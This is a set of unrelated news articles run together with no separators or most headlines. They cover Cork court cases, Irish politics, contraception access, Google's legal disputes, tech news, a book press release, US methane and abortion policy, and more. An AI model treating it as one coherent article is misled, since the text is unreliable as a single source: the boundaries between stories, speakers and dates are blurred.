The EBRD was swift to condemn the Russian invasion of Ukraine that began on 24 February 2022 and the Bank has pledged to stand by Ukraine. In early April 2022 the EBRD Board of Governors voted to suspend indefinitely Belarus and Russias access to EBRD finance and expertise, and the Bank has closed its offices in both of those countries.

Donor funding is a critical element of EBRD support for Ukraine and other countries affected by the war. Besides the Netherlands, donors that have committed to contribute so far are: Austria, Canada, Denmark, the European Union, Finland, France, Ireland, Italy, Japan, Norway, South Korea, Spain, Sweden, Switzerland, Taipei China, the United Kingdom and the United States of America.
A FOUR-month jail term was imposed on a 53-year-old man who obstructed a drugs search.

Judge Olann Kelleher imposed the sentence on Michael Coffey of 55 Kilmore Road, Knocknaheeny, Cork.

The defendant pleaded guilty to a charge of obstructing a drugs search on July 6 2022 at Cotters Street.

He was observed by Garda Shaun McCarthy with a rolled up piece of tinfoil in his mouth and was holding a piece of tinfoil in his hand that had a brown substance on it. He threw them into a gated car park to obstruct the search.

He also admitted a public order offence of being drunk and a danger on July 8 last at Probys Quay, and he also pleaded guilty to the theft of a mobile phone from a Honda Civic on Georges Quay on August 21 2022.
CORK will experience an explosion of homelessness when the ban on evictions expires in April unless the housing minister takes action, last nights meeting of Cork County Council heard.

Independent Cllr Mary Linehan Foley said she is getting calls every single day from people in private rented accommodation with nowhere to go. Ms Foley called on the Council to write to the Minister for Housing, Daragh OBrien, to alleviate the pressures on people, or there will be an explosion of homelessness.

The councils housing section is at the pin of their collar in terms of what they can do. Ms Foley said she is very nervous, and with the influx of inquiries that Councillors have had, what is it going to be like in April, she asked.

Since after the Christmas break, my phone has never stopped, with people that are after getting notices to quit. Theyve contacted Threshold. They are all legal, and they have to leave. There is nowhere for them to go. There are no private rented properties in the east Cork area, she said.

Ms Foley said there is no light at the end of the tunnel for these people, as there is no available social housing, and no homeless accommodation.

We have zero houses available. When Cork County Council ring up landlords or auctioneers, the minute HAP (Housing Assistance Payment) is mentioned, the conversation is over, said Ms Foley.

Councillors from across the political divide joined in welcoming the motion.

Independent Cllr Ben Dalton OSullivan said it is unfortunate that landlords are seen as the enemy. A woman he knows rents out a property in Cork city for 1,000 per month, but wants to sell immediately.

When taxes, insurance, depreciation, and her own mortgage are accounted for, she is actually losing money on it. We need to stop looking at landlords as the enemy.

We need to help them stay in the market and leave them provide the HAP properties we need until such time as we can house those people through our own resources here in the Council, said Mr OSullivan.
30-year-old Dylan Magee from Churchfield appeared today before Cork District Court charged with murdering an 89-year-old patient at the Mercy University Hospital in Cork in the early hours of Sunday.

Detective Garda Maurice OConnor arrested Dylan Magee of 30 Churchfield Green, Cork, and brought him before Courtroom 1 at the courthouse on Anglesea Street this morning.

It follows the investigation into the death of Matthew Healy, an 89-year-old retired farmer and widower from Berrings, Co Cork, who died following an incident at the hospital on Sunday morning. Mr Healy was a patient in the hospital at the time.

Matthew Healy was a patient in the hospital at the time.

Det. Garda OConnor formally cautioned the accused man that he did not have to say anything but that whatever he might say would be taken down and given in evidence. He made no reply after caution.

The charge states that on January 22 at Room 2, St. Josephs Ward, Mercy University Hospital, he did murder Matthew Healy, contrary to Common Law.

On the application of Sergeant Pat Lyons, Judge Olann Kelleher remanded the accused in custody until January 30.

Solicitor, Frank Buttimer, was appointed to represent the accused on free legal aid. He said the accused had been on a disability allowance and was now in custody.

He has certain medical difficulties of a psychiatric nature.

"I would ask that all necessary medical treatment be made available to Mr Magee in custody, Mr Buttimer said.

Judge Olann Kelleher acceded to this application saying, I direct all necessary medical treatment would be made available to him.

Judge Kelleher noted that there is no jurisdiction for bail to be given at district court level on a murder charge. If an accused person seeks bail the application has to be made at the High Court.

The accused, who has a beard and wore a grey hoodie, black pants and grey runners, was not required to speak during the brief hearing. Several members of the accused mans family were present in Courtroom 1.

Following the incident at the hospital, Irish Nurses and Midwives Organisation General Secretary, Phil Ni Sheaghdha, said: "The INMO is once again repeating our call for a full review and audit of security systems and protocols in Irish hospitals.

"We havent had a security audit of our hospitals since 2016. It is time now for the HSE to complete a full audit of what measures are in place in each hospital."

Hospital management said that counselling services were being provided to patients and staff affected by the incident.
White powder that was visible on a mans moustache made gardai suspicious about possible drug use and the man dropped a tinfoil wrap on the ground as officers approached him.

Details of the incident were outlined at Cork District Court.

Sergeant Gearoid Davis said, On July 10 2021 at around 3 pm, Garda Conor Cronin observed a man on Wellington Road with white powder around his moustache.

Garda Cronin suspected him of being in possession of a controlled drug and followed him on to York Hill.

When informed that he was going to be searched he dropped a tinfoil wrap with a small amount of white powder. He denied at the time that the substance was his.

It was confirmed to be amphetamine and the total value was 15.

Now in court, 38-year-old Ray McCarty of Magnolia Terrace, OMahoneys Avenue, St. Lukes, Cork, has pleaded guilty to being in possession of the illegal drug for his own use. The accused had eight previous convictions for having drugs for his own use.

Defence solicitor, Shane Collins-Daly said, He indicated a plea of guilty previously.

"He has significant mental health difficulties. He is off drugs for over a year now.

He knows that with his mental health difficulties that taking drugs can only aggravate his situation. And that he puts himself at risk of prison. He accepted he is at significant risk here today. He wants to deal with the matter because of the stress and worry about it.

Judge Olann Kelleher said that having this kind of drug can carry a 12-month sentence, even for someone with no previous convictions and the defendant had eight. The judge said he was not lecturing him but that he should know the risks caused by his actions. The judge said he would impose a six-month sentence but suspend it on condition that the accused would have no more convictions in the next two years.
Cork is set to see a change in temperature over the coming days as conditions grow milder, before temperatures drop as the weekend nears.

A dull and overcast start to Wednesday with patchy light rain, drizzle and mist has been forecast for Cork before drier and brighter conditions develop in the afternoon.

Met Eireann has forecast highest temperatures of between 8 and 10 degrees with light southwest winds veering northwest during the afternoon.

As the weekend approaches, a high-pressure system will largely dominate as it moves across the country from the west, with some sunny spells developing during the afternoon on Thursday.

It will stay a little cooler with highest afternoon temperatures of 6 to 8 degrees.

Any cloud will clear to leave a mostly clear and dry night on Thursday night with temperatures expected to fall below freezing widely bringing with it the risk of icy stretches and ground frost.

Winds will be mostly light and variable with lowest temperatures of 2 to -2 degrees.

Friday will be mostly calm and settled to begin, with any frost or ice clearing. Highest afternoon temperatures of 8 to 11 degrees in mostly light winds are expected.

Friday night is forecast to be cloudy with patchy rain or drizzle and overnight lows of 2 to 5 degrees.

Current indications for the weekend suggest that the high pressure largely dominating the weather will slowly drift away to the southwest allowing for the passage of weather fronts across the country.
By David Young, PA

Paschal Donohoes ministerial reputation lies in tatters, Mary Lou McDonald said, as she clashed with the Taoiseach on the election expenses controversy.

Addressing the Dail during Leaders Questions, the Sinn Fein leader said the furore over undeclared donations carried the stench of cronyism and favours for insiders.

Her remarks prompted heated exchanges with Leo Varadkar, who accused her of hypocrisy as he highlighted a series of issues related to Sinn Feins finances.

Ms McDonald claimed Mr Donohoe had engaged in an exercise in concealment and cover-up from start to finish.

This whole saga with Fine Gael's Minister has the stench of cronyism and favours for insiders. His ever changing cock and bull story, his ducking and diving to evade accountability has been an exercise in deliberate concealment and cover up from start to finish  @MaryLouMcDonald pic.twitter.com/Jlo3ZpAxiE  Sinn Fein (@sinnfeinireland) January 24, 2023

The theme of this controversy is the ministers ever-changing story, the muddying of waters, the ducking, the diving to evade accountability, she told the Dail.

Mr Stone claims that minister Donohoe asked him twice if he had paid for his postering operation in the 2020 general election and that he told the minister that he had not.

Then in a eureka moment, as the minister was being questioned on the floor of the Dail, he remembers that he had in fact paid for the postering in 2020.

This is the farcical story that the minister asked the Dail and the public to believe and nobody buys it.

The reason why Mr Stone has had a sudden recollection is because he knew they were caught out. The idea that this donation simply slipped through the net and slipped out of memory doesnt stack up.

The idea that the minister didnt know, and the businessman simply forgot does not hold any water.

The ministers credibility now lies in tatters.

He has chosen concealment and cover up again and again and at every turn the truth has to be dragged out of him.

Addressing Mr Varadkar in the chamber, Ms McDonald added: The minister misled the Dail last week and now to continue the cover-up Michael Stone falls on his sword, all to protect the minister.

Taoiseach, are you also standing by this story? Do you also claim that the minister didnt know and that the businessman simply forgot.

As head of government, do you stand by this account of events?

Mr Varadkar defended Mr Donohoe and said he believed the public expenditure ministers explanation.

Ive heard his explanations over the weekend, spoke to him about it, and I believe him, he said.

He said during chaotic election campaigns it would often be assumed that people offering to put up posters were doing so on a voluntary basis.

Mr Varadkar then focused on Sinn Feins finances and questioned the partys conduct on a series of issues, including the decision to declare a multimillion pound donation to electoral authorities in Northern Ireland rather than in the Republic, where rules prohibit such large donations.

He claimed the move was done with questionable legality. The Taoiseach said Sinn Fein also failed to include a 7,000 payment to a UK polling firm in its 2020 election accounts declaration.

So, Sinn Fein, your entire party, filed your returns in 2020 three times because of errors identified by the media and the sums involved were much greater than any sums involved in relation to minister Donohoe here, he said.

So, its a very different standard that you seem to be trying to apply to him than you would apply to your own party.

Mr Varadkar then referred to a 1,000 donation made by former Sinn Fein councillor Jonathan Dowdall, who last year was convicted of facilitating a gangland murder in Dublin.

The Taoiseach said Ms McDonald needed to clarify whether the donation was made to her or her party.

You need to consider revising your own declarations, he said.

Public Expenditure Minister Paschal Donohoe (PA)

Your declaration shows that you received a personal donation of 1,000 euros from your friend, gangland criminal and Navan Road torturer John Dowdall.

Around you are members of your party who claim that that was a donation to your party, that requires you to decide which it was, and to make an amendment to your own declarations deputy, just as minister Donohoe has.

Ms McDonald accused the Taoiseach of attempting to distract from the central issue.

If the Minister for Finance has a very faulty memory, I have to say you are of Olympic level competence in trying to breed further distractions, she said.

The Sinn Fein leader said the real rub in the controversy was that a wealthy individual who was the beneficiary of state contracts and was appointed to state boards was a donor to the minister.

She said the concealment of the donations was a real cause for public worry.

I put it to you Taoiseach that it is not credible on your part for you to attempt to stand over these donations that were undeclared and the cock and bull story that your colleague has fabricated, after the fact, to try and cover his tracks, she said.

Mr Varadkar said he was exposing Sinn Fein hypocrisy on donations.

Exposing your hypocrisy is not a distraction, its simply telling the truth, something that you consistently run a mile from, he told Ms McDonald during the Dail exchanges.

And I think youve some brass neck, quite frankly, in that regard, given that your own party had to file your 2020 decorations on three occasions because of a 7,000 payment to a UK polling company that you forgot about until the Irish Times questioned you about it.

Mr Varadkar accused Ms McDonald of making a snide reference to Mr Stone receiving public contracts from government.

You know as well as I do, that Government ministers have no role in awarding commercial contracts to businesses, he said.

Thats a pure distraction, trying to throw that one out there under coverage of privilege quite frankly.
BIRTH control or contraception is the use of medicines, devices, or surgery to prevent pregnancy.

You can get contraception from most pharmacies in Ireland. Most contraception will need a prescription from a GP but you do not need a prescription for emergency contraception or condoms.

You can get prescriptions for contraceptive drugs and devices, as well as advice about contraception from GPs, voluntary organisations and private family planning clinics. Voluntary and private family planning clinics usually have charges but may waive them or have lower fees in certain cases.

In Budget 2023 it was announced that the age range for free contraception will be extended to include women aged 16 and aged 26 to 30, from 1 September 2023. This change requires legislation.

Is contraception free in Ireland?

You can get free contraception if you are:

How do I get free contraception if I am aged 17 to 26?

You do not need a medical card.

You need to book an appointment with a GP or doctor to discuss your contraception. This appointment will be free. The GP and pharmacy will ask for your:

Your GP will use this information to let the pharmacy know not to charge you for your free contraception prescription. You can also collect your free contraception from some family planning clinics.

Is contraception covered by my medical card?

If you have a medical card, you get free contraceptive drugs, devices and free GP services including contraceptive advice. This also includes emergency contraception.

You will have to pay a prescription charge for items you get from pharmacies under the medical card scheme.

What is the situation, if I do not have a medical card?

If you do not have a medical card, and you are not eligible for the free contraception scheme (above), you will have to pay for contraception and contraceptive services. You may be able to reduce the cost of your contraception through the Drug Payment Scheme. For example, the cost of long-acting reversible contraceptives such as the IUS (hormonal coil) or IUD (copper coil). You may also be able to claim tax relief on medical expenses.

Can I get free condoms in

Ireland?

Condoms are not free under the medical card or free contraception scheme.

You can get free condoms from:

Sexual health or GUM (genitourinary medicine) clinics

Some sexual health NGOs

Many third level colleges

Where can I get emergency contraception?

Emergency contraception is a back-up contraception. You can use emergency contraception up to 5 days after having unprotected sex, but it is more effective the sooner you take it after unprotected sex.

You can get emergency contraception tablets (sometimes called the morning-after pill) over the counter in most pharmacies without having to go to a doctor for a prescription.

You can get free emergency contraception if:

You have a medical card, or

You are a woman or person with a uterus, aged 17 to 26 and living in Ireland

You can read more about contraception services on the HSE website: www.sexualwellbeing.ie.

The Citizen Information Centres telephone lines in Cork City are monitored from 10am to 4.30pm, Monday to Friday. In addition, the Cork City Centre CIC in Cornmarket Street is open to the public from 10am to 12.30pm, Tuesdays and Thursdays, while the Blackpool CIC is open to the public each morning from 10am to 1pm, Monday to Friday. Full details on their website.

See https://www.citizensinformation.ie/en/
Google will once again apply Gmail spam detection to political campaign emails It's ending a test that whitelisted over 100 committees.

Google doesn't plan to let political campaigns dodge Gmail's spam detection for much longer. The Washington Post has learned that Google plans to end the email filter bypass pilot program by the end of this month. In a dismissal motion filed at a federal court in the Eastern District of California, the company rejects the Republican National Committee (RNC) allegations of political bias that led to the test. Gmail's filtering methods "apply equally" to every sender whether or not there's a political connection, the company says.

The pilot was a response to RNC accusations in October that Google was censoring right-wing fundraising emails by marking them as spam. The committee pointed to a study that supposedly backed the claims, but Google maintained that messaging frequency, user responses and other non-political elements dictated filtering behavior. Even so, Google acknowledged the pressure and got permission from the Federal Election Commission (FEC) to run the test. The experiment was already set to end in January, but it wasn't clear if Google would extend the program until now.

Over 100 Democrat and Republican committees joined the program after it was approved in August. However, the RNC wasn't one of them. Google points this out in its new filing, asserting that the Republicans want to accuse the firm of unfair treatment instead of participating in the solution.

In a statement to Engadget, Google spokesperson Jose Castaneda says a recent FEC decision "confirmed" it doesn't filter email for "political purposes." The representative also maintains that the RNC complaint is "without merit."

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On top of the company's own objections, numerous advocacy groups and other critics urged the FEC to reject the looser approach to political emails. They were concerned this change would let political candidates from any party spam users with few repercussions. With this latest filing, the debate is moot  politicians will have to take a careful approach if they expect campaign messages to go directly to your inbox.
The Justice Department is suing Google to break up its ad business The agency accuses Google of illegally monopolizing the digital ads market.

Alongside eight states, the US Department of Justice is suing Google to break up the companys advertising business. In a complaint filed Tuesday with a federal court in Virginia, the agency accused Google of illegally monopolizing the digital advertising market. Googles anticompetitive behavior has raised barriers to entry to artificially high levels, forced key competitors to abandon the market for ad tech tools, dissuaded potential competitors from joining the market, and left Googles few remaining competitors marginalized and unfairly disadvantaged, the Justice Department alleges.

"Todays lawsuit from the DOJ attempts to pick winners and losers in the highly competitive advertising technology sector, a Google spokesperson told Engadget. It largely duplicates an unfounded lawsuit by the Texas Attorney General, much of which was recently dismissed by a federal court. [The] DOJ is doubling down on a flawed argument that would slow innovation, raise advertising fees, and make it harder for thousands of small businesses and publishers to grow."

As Bloomberg notes, the lawsuit represents the Biden administrations first significant attempt to challenge the power of one of the nations largest tech firms. The agency previously sued Google in 2020. At the time, the Justice Department, under Attorney General William Barr, said the company had a monopoly over search and search-related advertising. It also took issue with the terms around Android, which the Justice Department said unfairly advantage Google by forcing manufacturers to preload their devices with the companys applications and search engine.

Google faces intense regulatory scrutiny over its hold on the digital advertising market. In 2020, Texas filed a multi-state lawsuit accusing the company of using its "monopolistic power to control" ad pricing. One year later, the European Commission opened a probe into the companys advertising business, a move that seems to have forced Google to reconsider how it handles ads on YouTube. Last year, the Senate also introduced legislation designed to prevent companies like Google from participating in more than one part of the digital advertising ecosystem.

Subscribe to the Engadget Deals Newsletter Great deals on consumer electronics delivered straight to your inbox, curated by Engadgets editorial team. See latest Subscribe Please enter a valid email address Please select a newsletter By subscribing, you are agreeing to Engadget's Terms and Privacy Policy.

Having inserted itself into all aspects of the digital advertising marketplace, Google has used anticompetitive, exclusionary, and unlawful means to eliminate or severely diminish any threat to its dominance over digital advertising technologies, the Justice Department says in its most recent complaint. It accuses Google of using acquisitions to take out both actual or potential competitors, in addition to abusing its marketplace dominance to prevent publishers and advertisers from using competing products effectively. Whenever Googles customers and competitors responded with innovation that threatened Googles stranglehold over any one of these ad tech tools, Googles anticompetitive response has been swift and effective, the Justice Department alleges.

In a blog post published after news of the Justice Departments lawsuit broke, Google accused the agency of attempting to rewrite history at the expense of publishers, advertisers and internet users. Specifically, Google says it takes issue with the Justice Departments demand that the company spin off AdMeld and DoubleCheck, two ad tech firms Google acquired more than a decade ago. These deals were reviewed by regulators, including by [the] DOJ, and allowed to proceed, Google says.

Additionally, Google contends competition in the ad tech sector has increased significantly in recent years. For example, the company points to Microsofts recent purchase of AT&Ts former ad tech wing Xandr and notes the acquisition enabled Microsofts landmark advertising deal with Netflix. The government did not challenge this acquisition, Google points out.

Google also accuses the Justice Department of mischaracterizing how its advertising products work. The company says its product stack works with competing technologies, making it easy for publishers and advertisers to choose the services they want to use. No one is forced to use our advertising technologies  they choose to use them because theyre effective, Google contends.

One estimate suggests Google controls as much as 26.5 percent of the US digital ads market. The companys ad unit is expected to generate about $73.8 billion in US ad revenue over the next year, with much of that money coming from search advertisements.

Update 4:04PM ET: Added more context from Google.
Microsoft is making a "multibillion-dollar" investment that will lead to wider uses of OpenAI's technology, as well as more robust behind-the-scenes support. Microsoft has launched OpenAI-powered features, like natural language programming and a DALL-E 2 graphic design tool. OpenAI uses Microsoft's infrastructure to train its best-known systems, including DALL-E 2 and the popular ChatGPT bot. ChatGPT is coming to Azure soon. However, don't expect anyone to see ChatGPT in Bing  at least not yet. The expansion may help Microsoft seize a competitive advantage. Google reportedly sees ChatGPT as a threat to its search business,

The versatile AI chatbot is having a surge in popularity. The existing version already had more than one million users around December 2022. That's probably grown, too  and Microsoft wouldn't mind a piece of that.

 Mat Smith

The biggest stories you might have missed

With M2 Pro or M2 Max power, a blessing for creatives.

Engadget

With its last batch of MacBook Pros, Apple gave its more demanding fans everything they wanted: tons of ports, lots of power and genuinely great screens. This time, it's just a straightforward chip upgrade, featuring the new M2 Pro and M2 Max. They're faster, as you'd expect, and they deliver a few features power users may appreciate, like 8K video output and support for WiFi 6E. The new MacBook Pro 14-inch isn't a dramatic departure from the last model, but the new chips will be incredibly useful to creative professionals.

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Continue reading.

He took the witness stand again to defend his 'funding secured' tweets.

Elon Musk said he could've sold his SpaceX shares to take Tesla private when he took the witness stand again to defend his 2018 "funding secured" tweets in a lawsuit filed by the automaker's shareholders. According to CNBC, Musk proclaimed: "SpaceX stock alone meant 'funding secured' by itself. It's not that I want to sell SpaceX stock but I could have, and if you look at the Twitter transaction  that is what I did. I sold Tesla stock to complete the Twitter transaction. And I would have done the same here."

The plaintiffs' lawsuit is based on Musk's infamous 2018 tweets in which he said he was "considering taking Tesla private at $420." The judge in this case has already determined his tweets were "objectively false and reckless." However, the plaintiffs still have to prove Musk knew his tweets were misleading and caused their losses to win the case. Musk and Tesla previously had to pay the Securities and Exchange Commission $20 million each to settle a separate lawsuit over the same tweets, accusing him of making "false and misleading statements" that could constitute fraud.

Continue reading.

Sales will be cut off on January 31st.

Microsoft is stopping sales of Windows 10 downloads on January 31st, according to a product page spotted by The Verge. That date "will be the last day this Windows 10 download [and all-important license keys] are offered for sale," according to Microsoft. However, it will continue to support Windows 10 with security updates until it's discontinued for good in October 2025. Windows 10 launched in 2015 and will be discontinued exactly 10 years later. The company announced its end date in June 2021 as part of its "modern lifecycle policy," just before the launch of Windows 11.

Continue reading.

We might see it this spring.

We're expecting Apple to reveal a mixed reality headset in the coming months. It'll be Apple's first new product category since Apple Watch, which debuted in 2015. Bloomberg's Mark Gurman has shared details about what to expect from the product, which may be called Reality Pro. The standalone device will have an interface similar to an iPhone and iPad and the option to pin widgets to the home screen. Alternatively, it may be used as an external display for a connected Mac. Along with Siri voice commands, there'll be the option to use a Mac, iPhone or iPad keyboard to enter text on the xrOS operating system, according to the report.

For one-on-one chats in which both participants wear a Reality Pro, the report also suggests FaceTime will render realistic versions of their face and body. Yes, that means legs! The device is rumored to appear ahead of Apple's Worldwide Developers Conference in June, with a release to follow in fall. The price, though, may put many off. The headset could retail for around $3,000. That's twice as much as the Meta Quest Pro.

Continue reading.
From: David M. Jacobson - LCSW -- Expert on Leadership, Humor & Health Tucson , AZ Tuesday, January 24, 2023



Highly Humorous Leadership Highly Humorous Leadership: A Fun, Effective Approach to Management and Supervision is a fantastic resource for effective leadership full of self reflection and examples from the author, lots of tools to use for self reflection in practice and to implement with your team. Great insights that you hadn't read before and a book that you will return to again and again to continuously improve your leadership skills. You will be genuinely shocked by how much you enjoy this read! Even if you have a great sense of humor, you have no idea how vital humor can be specifically in the workplace until you read this book. David Jacobson, LCSW, C.H.P. has spent his life infusing humor into everything he does, partially out of necessity (due to suffering from arthritis starting in his early 20s) and partially out of just a pure passion for therapeutic humor.



He's used his appropriately-placed humor in many leadership roles, and he essentially provides us with a handbook to do the same. This book can help set me up any leader for success. Jacobson describes in detail the four categories of humor and how they can impact the workplace.



In fact, some humor can actually damage both the person delivering the humor and the person receiving the humor. When humor is used in the right way, it can dramatically impact the workplace. Employees feel heard, empowered, appreciated, and motivated to the extent that it impacts their productivity. Jacobson provides real-life examples of this phenomenon, with the financial, productivity, engagement and leadership effectiveness documents to prove it. The book's purpose is to discuss how important the integration of humor is into leadership, and it does so beautifully.



The book has a conversational tone. You'll feel more like you're having a conversation with someone rather than reading,



This book is as much about being a good leader as it is about the importance of humor as a leader. And for that reason, everyone should read it. Leader or not, it can help you understand the power of a good leader, the symptoms of a bad one, and what to look for in a prospective leader. Now at a reduced preorder price of $2.99. The book will be available on Amazon Kindle Febraury 1st. David Jacobson is a professional speaker on leadership, team building, humor and health and overcoming trauma. He is the former Chief of Social Work of the Phoenix VA where he assisted in improving their mental health system. He also is the former Social Work Manager at University Medical Center who worked with the patients and families of trauma's including the tragic shooting event in Tucson that happened at his hospital January 8th, 2011. For over 30 years David, has provided his expertise on leadership, humor and health related topics to audiences around the country and served on the Board of Directors of the Association for Applied and Therapeutic Humor. He has been featured internationally by various media outlets, including magazines, journals and television from London to Seoul, Korea. He is the award winning author of "7 1/2 Habits To Help You Become More Humorous, Happier & Healthier." David Jacobson suffered many losses early in his life including a diagnosis with a severe form of arthritis at 22 in 1980. Since then, he has become a living example that you can accomplish anything if you truly believe in yourself. Through his years of struggling with chronic pain, he developed humor techniques that got him through the hard times. He now teaches these skills to audiences around the country in his keynotes and workshops which as entertaining as they are educational. His many honors include a "President's Award" from Flashnet Marketing, Inc. , A Lifetime Achievement Award and a "National Hero Overcoming Arthritis" award by the Arthritis Foundation National Office for completing a 50 mile unicycle ride at a fund raising event and the Wayne Washburn Memorial Award which reads as follows "We all need someone or something to inspire us to bring out our best. You are that someone" For the past twenty years, Mr. Jacobson has worked as a hospital administrator in addition to his writing, speaking career. <iframe src="https://www.gigmasters.com/requestquote?type=portable&memberId=28935" width="350" height="626" style="border:0;margin:16px;"></iframe>


NEWS FLASH





Georgian cargo carrier Camex Airlines has concluded the latest phase in the expansion of its international portfolio by establishing a new airline in Slovenia. Named Camex Adria Airlines, the subsidiary is expected to launch operations in April 2023, as soon as it is granted a Slovenian Air Operators Certificate (AOC). The pre-application meeting with the Slovenian Civil Aviation Authority has been held and the AOC application package was submitted in November 2022, Camex said. Camex Adria will take delivery of a Boeing 737-800 aircraft, previously operated by Fly Egypt with the registration SU-TMI, which has since been converted into a freighter jet and is being leased from Icelease. CAMEX provides adhoc and ACMI cargo services. Its Georgian unit launched flights last year.
Pennsylvania is one of the largest contributors to greenhouse-gas pollution in the U-S, and the Environmental Protection Agency wants input on a plan to do more to reduce methane emissions in oil and gas development.

The EPA proposal would require curbing methane emissions at existing oil and gas wells in addition to new sites.

Barbara Jarmoska, a board member for the Responsible Decarbonization Alliance, said methane is a more potent greenhouse gas than carbon dioxide, and regulating it can be one of the primary ways to slow global warming.

"When you look at what is Pennsylvania's greatest insult, what activities in Pennsylvania produce the greatest concern, it is certainly methane release," she said, "and one of the primary factors in that is these hundreds and hundreds of unplugged, methane-leaking wells."

In her own neighborhood, Jarmoska said there's a massive project involving 80 new wells and a high-pressure gas line under construction.

The public can weigh in on the EPA's proposal in writing through Feb. 13.

Jarmoska and other Pennsylvanians voiced their concerns in a three-day virtual public hearing this month. Some groups have stressed that the new rules should ban "flaring," the process of burning off gas at well sites. Jarmoska said another concern is the prospect of future methane use, since Pennsylvania looks to build out what's being called the hydrogen hub. It's gotten bipartisan support, but she said it's a controversial process.

"Blue hydrogen is just another way to create demand for methane, fossil methane gas, and so we cannot allow this transition to happen," she said. "But it is being driven by the gas industry, acceptance of blue hydrogen as this new and wonderful solution to climate change."

She explained that "blue hydrogen" involves creating energy with the natural gas from fracking and steam, and then capturing the carbon dioxide that is also produced and storing it underground. Some business groups are hoping to win a bid to build a hydrogen hub in Philadelphia.

Retired U.S. Army Brig. Gen. Steve Anderson said he thinks it's important for the EPA to do more to fight climate change as a national security issue. He said he sees it as a threat not only to the United States but as a source of instability abroad as well. Anderson said he believes a transition to renewable energy will boost employment in this fast-growing field.

"There's all kinds of renewable energies that I believe will not only reduce our reliance on oil and on the carbon-based fuels," he said, "but provide opportunities to develop a truly green economy that'll put a lot of the people that are presently working in coal mines and in the oil industry, put them to work installing solar panels and wind turbines.
Sen. Keith Regier, R-Kalispell, testifies in favor of Senate Bill 154 in front of the Senate Judiciary Committee on Tuesday, Jan. 17, 2023. (Photo by Blair Miller, Daily Montanan)

As the State of Montana considers changing rules to make getting an abortion using Medicaid more difficult and restrictive, a group of healthcare providers sent a letter via their attorneys warning the state and lawmakers that adopting the proposed rules will lead to a lawsuit.

The letter, sent on Monday to Paula Stannard, the chief legal counsel for the Department of Public Health and Human Services, says new rules that would require more paperwork by doctors, restrict which medical providers can perform abortions, and make the department pre-authorize any abortions for Medicaid. The letter argues those changes are not legal or consistent with rulings by Montanas courts. The courts have been called upon repeatedly to intervene in abortion laws passed by the legislature.

Its not surprising that pro-abortion activists are lining up to force Montana taxpayers to fund elective, nontherapeutic abortions under Medicaid, said DPHHS Director Charlie Brereton. Well continue reviewing Montanans comments on the proposed rule which seeks to protect the integrity of our Medicaid program.

Representatives from the governors office and the Montana Attorney Generals Office did not respond for comment Monday afternoon.

A spokesperson from DPHHS earlier told the Daily Montana the agency would consider all public comments received on the proposed changes before the Jan. 20 deadline and finalize its rules following the review. DPHHS did not provide a timeline for a final decision and said procedures dont require one.

The letter cites a number of high-profile cases that have established the right to an abortion in Montana, referencing the landmark 1999 decision, Armstrong vs. State, which said the states constitutional right to privacy included the right to be free of government interference in medical decisions.

Two other cases in Montana courts have also enjoined some of the action that DPHHS is proposing, including treating nurse practitioners or physicians assistants differently than medical doctors, saying they would not be reimbursed for Medicaid-supported abortions  a topic that the Montana Supreme Court has ruled on twice. It has previously said that the state has no legal reason from prohibiting licensed, qualified mid-level practitioners to perform abortions.

The letter expresses concern that new Medicaid abortion rules instituted by DPHHS would take place immediately, rather than pausing to prepare for their implementation  a more common occurrence.

If the proposed rules take effect, they will have an immediate, grave, and irreparable impact on the health of patients in Montana seeking abortion care and their constitutional rights, the letter said.

The letter warns that should the rules become effective as proposed, Planned Parenthood of Montana and other providers intend to seek declaratory and injunctive relief against the new laws.

Instead, the letter asks the department to delay the effective date to 90 days, or agree to pause the rules to give a court time to rule on the legality and constitutionality of the rules.

Should the department refuse to provide information regarding the planned publication date of its adoption notice or consider these proposals, Planned Parenthood of Montana and other providers will need to seek immediate injunctive relief to protect their patients, causing the department to expend further time and expense, the letter said.

The letter asks for a response by the end of the day on Wednesday.

The Departments proposed changes to the Medicaid program will deny low-income Montanans access to abortion care services, the letter said. The proposed rules invade rights secured by the Montana Constitution.

Deputy editor Keila Szpaller contributed to this report.

Editors note: This story has been updated to reflect comments by the Montana Department of Health and Human Services.

The post Healthcare, abortion providers warn: New Montana abortion rules will be challenged in court appeared first on Daily Montanan.
Vice President Kamala Harris speaks on abortion access in Tallahassee, Fl on Jan. 22, 2023. (Photo by Danielle J. Brown)

In a direct challenge to Florida Gov. Ron DeSantis, Vice President Kamala Harris traveled to his back yard Sunday to announce that President Joe Biden was ordering his administration to protect access to abortion-inducing medications.

During a roughly 20-minute address in Tallahassee marking what would have been the 50th anniversary of Roe v. Wade, Harris mocked DeSantis self-described freedom agenda as anathema to the struggles of generations of Americans to expand upon the basic rights guaranteed by the U.S. Constitution.

Can we truly be free if a woman cannot make decisions about her life? Can we truly be free if a doctor cannot care for her patients? Can we truly be free if families cannot make intimate decisions about the course of their own lives? the vice president asked an enthusiastic audience. And can we truly be free if so-called leaders claim to be, quote, I quote, on the vanguard of freedom while they dare to restrict the freedom of the American people and attack the very foundations of freedom?

Bidens memo seeks to protect privacy and abortion access against state limits, including potential barriers faced by patients seeking legal access to mifepristone or other reproductive healthcare, as well as by providers and entities, including pharmacies, that provide reproductive healthcare in providing mifepristone or other reproductive healthcare, and any recommendations for addressing these barriers.

The Republican governor frequently invokes his free state of Florida rhetoric, which originated from his opposition to face mask and vaccination mandates as COVID-19 raged.

Define freedom

America is a promise. It is a promise of freedom and liberty, not for some but for all. A promise we made in the Declaration of Independence that we are each endowed with the rights to liberty and the pursuit of happiness. These rights were not bestowed upon us; they belong to us as Americans. And it is that freedom and liberty that enabled generations of Americans to chart their own course and decide their own future, she said.

She described a march forward to fully realize our promise to complete the unfinished work to secure freedom and liberty to all  work that included ending slavery, womens suffrage, the Freedom Rides, and the LGBTQ pride movement.

Those leaders expanded rights which then advanced the cause of freedom and liberty. And, 50 years ago today, so did those who won a right in the United States Supreme Court to recognize the fundamental, constitutional right of a woman to make decisions about her own body, Harris said.

The Supreme Court took away that right last summer, she continued, as the audience proclaimed more than once, It aint right.

The result is that doctors face prison for providing drugs for arthritis because they also can induce abortion; that a 10-year-old girl in Ohio had to travel out of state to obtain an abortion; and that women endured life-threating medical complications because doctors are reluctant to treat miscarriages, Harris said.

These problems are a direct result of laws designed by extremists  including in states like Florida, with its radical abortion ban after 15 weeks gestation with no exceptions for rape or incest.

They spoke with their votes

She pointed to referenda in states across the country affirming abortion rights following the Supreme Court ruling.

They spoke with their votes. In essence, they said one does not have to abandon their faith or deeply held beliefs to agree that the government should not be telling people what to do with their own bodies.

